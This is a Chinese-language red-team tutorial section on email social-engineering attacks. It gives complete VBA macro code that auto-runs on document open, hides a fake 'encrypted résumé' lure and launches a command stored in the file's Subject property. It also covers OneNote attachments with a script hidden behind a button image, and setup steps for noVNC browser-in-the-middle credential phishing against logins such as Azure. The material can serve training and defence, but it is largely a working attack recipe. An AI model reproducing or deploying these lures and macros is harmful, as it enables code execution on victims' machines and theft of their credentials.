社会工程学攻击 社会工程学攻击是多种多样的,如果用于红队行动中突破边界,那么可以大致有这么3类 1:客户端代码执行。例如带有 Macro 的 doc 文档。 2:窃取凭证。例如在钓鱼邮件里添加链接,指向一个伪造的登陆界面 3:诱导用户完成特定行为。例如在钓鱼邮件中诱导用户访问攻击者的 rogue 服务器。 社会工程学攻击的载体可以是 邮件 (最经典的)、短信、电话等。本小节主要介绍以邮件为载体的社会工程学攻击。此外,使用邮件进行钓鱼攻击也是需要搭建安全的基础设施,考虑到内容篇幅与课程进度,并不在此展开。可以参考的钓鱼基础设施有 GoPhish (https://github.com/gophish/gophish),Evilginx2 (https://github.com/kgretzky/evilginx2), EvilGophish (https://github.com/fin3ss3g0d/evilgophish) 等。 客户端代码执行 Microsoft Word 宏 Word 有个特性叫自动图文集,即可以把特定内容保存进去,当然也可以在后续把保存的图文集提取出来插入到文档中。这个特定配合特定的 macro 脚本,可以实现伪加密效果。 1:新建一个 doc 或者 docm 文档,填写一些可信的内容,例如个人简历。 2:选中内容,将所选的内容保存到自动图文集中(插入 ->文档部件 -> 自动图文集) 3:删除个人简历内容,填写语境,例如 “出于个人隐私考虑,该文档进行了加密,请启用宏以解密该文档查看个人简历” 4:编辑宏,插入宏代码用于删除当前页面并且插入保存的图文集。 ActiveDocument.Content.Select Selection.Delete ActiveDocument.AttachedTemplate.AutoTextEntries("dler").Insert Where:=Selection.Range, RichText:=True 5:当受害者打开文档时,显示的是一份“加密”的文档,即我们的语境,点击启用宏之后,当前的内容会被宏删除,并且插入自动图文集中保存的内容,即我们的简历。 未开启宏之前: 开启宏之后: 6:在此基础上,加上载荷,出于测试目的,我们的载荷为 calc.exe。但是,我们并不在脚本中指定要运行的程序或命令。邮件 doc/docm 文件,修改 Subject或者其他属性的值为要运行的程序或者命令 7:通过获得当前文档对象,从而获得该文档对象的各种属性的值 Dim ProgramName As String Set doc = ActiveDocument ProgramName = doc.BuiltInDocumentProperties("Subject").Value Call Shell("""" & ProgramName & """", vbNormalFocus) 8:完整流程的代码如下 Function phishing() ActiveDocument.Content.Select Selection.Delete ActiveDocument.AttachedTemplate.AutoTextEntries("dler").Insert Where:=Selection.Range, RichText:=True Dim ProgramName As String Set doc = ActiveDocument ProgramName = doc.BuiltInDocumentProperties("Subject").Value Call Shell("""" & ProgramName & """", vbNormalFocus) End Function Sub Document_Open() phishing End Sub Sub AutoOpen() phishing End Sub 9:但此时,如果我们将载荷替换为 C2 的下载与执行,想要通过杀毒软件的检测,可能还需要其他的努力。我们会在后面的章节进行更深层次的载荷构造。 One Note 就在不久之前,OneNote 的笔记本文件 (.one 格式) 被广泛用于钓鱼邮件中。 当导出笔记本时,我们可以选择 .one 格式。 当然,我们也可以把该类型文件导入进 OneNote 中。那么,OneNote 的什么特性让其也成为了客户端攻击的载体?原来,OneNote 中可以插入文件,例如 vbs 脚本文件。 那么,即便这样用户也不会轻易地就打开附件,我们要怎么诱导他们运行附件呢?下图是一个我构造好的恶意 one 文件。看起来是一份表格被加密了,只有在双击按钮后,方可访问。 我们双击之后,会有弹窗提醒,有一定安全意识的人可能会觉得不对劲了,但对于那些非计算机岗位的员工来说,很可能并不会被该弹窗给提醒到。 再之后,我们的载荷 (这里是 calc.exe) 便弹了出来,我们可以将载荷更换为更复杂的命令。 CreateObject("Wscript.Shell").Run "calc.exe" 可为什么双击按钮后会触发文件执行呢?实际上我们只是用该按钮作为图片覆盖住了下面的附件,以确保双击到按钮的任何部位都会触发文件执行。 凭证窃取 NoVNC NoVNC钓鱼 是在 2022 年被提出来的一种 BitM (中间浏览器) 攻击。使用 Evilginx 等 MitM 类的钓鱼工具作为基础设施,在一些开启 2FA 的场景而不奏效,并且一些网站也意识到了此类攻击,从而做出一些预防手段。因此,BitM 攻击后来被提出。 noVNC 是一款用网页实现的 VNC 客户端,即使用者可以通过浏览器访问目标 VNC 服务器。我们通过特定的配置 (例如隐藏部分UI),在受害者点击链接后 (链接为 noVNC 网页客户端的网址),误以为自己是在访问真实的目标,而没有意识到自己是在通过浏览器访问 VNC 服务器。如下图所示,用户打开链接后显示的是 Azure 的登陆页面,我们 VNC 会话中的浏览器确实是在访问 Azure 登陆页面,所以用户从打开页面到登陆成功,不会察觉到任何异样,浏览器也不会警告,一切都是合理有效的。 那么,我们需要怎么配置呢? 先安装 tigervnc、ubuntu 桌面,设置 vnc 密码 sudo apt update sudo apt install tigervnc-standalone-server tigervnc-xorg-extension tigervnc-viewer sudo apt install ubuntu-gnome-desktop sudo systemctl enable gdm sudo systemctl start gdm vncpasswd 下载 noVNC (https://github.com/novnc) git clone https://github.com/novnc/noVNC.git 修改 vnc.html 中的以下几行以实现更好的模拟效果: